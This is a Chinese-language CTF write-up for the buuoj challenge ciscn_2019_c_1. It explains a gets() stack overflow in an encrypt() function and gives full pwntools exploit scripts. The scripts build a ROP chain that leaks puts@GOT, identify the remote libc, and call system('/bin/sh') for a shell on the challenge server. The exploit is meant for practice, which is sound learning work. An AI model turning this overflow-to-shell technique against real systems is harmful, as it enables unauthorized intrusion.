64位,开启了NX:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
主要功能是对输入的字符串进行了加密,没有提供解密功能。
加密部分的函数encrypt()主要内容如下:
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
这里会把输入的内容和v0
的值进行比较,涉及到一个知识点:strlen()
遇到\x00
就会停止。所以我们输入的字符串开头就为\x00
的话,就会跳到break;
这里,不用进行异或比对了。
可以看到gets()
存在栈溢出漏洞,可以利用它泄露出puts()
的got地址。首先因为是64位的,传参传到了rdi中,要找到可以利用的地址:
ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"|grep "rdi"
得到:
0x0000000000400c83 : pop rdi ; ret
偏移量为0x50,因为前面有\x00
所以减去1('\x00'+'a'*(0x50-1))。
所以payload1为:
payload1 = '\x00'+'a'*(0x50-1)+p64(deadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
成功接收到puts()
的实际地址:
from pwn import *
elf = ELF('./ciscn_2019_c_1')
local = 1
if local == 1:
io = process('./ciscn_2019_c_1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',25182)
rdi_addr = 0x400c83
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
main_addr = 0x400B28
payload1 = '\x00'+'a'*(0x50-1)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("choice!\n")
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload1)
io.recvuntil("Ciphertext\n\n")
print(io.recvline())
对puts的实际地址进行解包操作,因为位数不够后面加上'\x00\x00'。接下来利用puts()
的实际地址的十六进制形式,去libc.blukat.me进行查询,得到服务器使用的libc为libc6_2.27-3ubuntu1_amd64.so。最后要考虑堆栈平衡,添加ret。完整的exp如下:
from pwn import *
elf = ELF('./ciscn_2019_c_1')
local = 0
if local == 1:
io = process('./ciscn_2019_c_1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',27698)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
rdi_addr = 0x400c83
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
main_addr = 0x400B28
payload1 = '\x00'+'a'*(0x50-1)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("choice!\n")
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload1)
io.recvuntil("Ciphertext\n\n")
puts_addr = u64(io.recvline()[0:6]+'\x00\x00')
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
ret = 0x00000000004006b9
payload2 = '\x00'+'a'*(0x50-1)+p64(0xdeadbeef)+p64(ret)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.recvuntil("choice!\n")
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload2)
io.recvuntil("Ciphertext\n\n")
io.interactive()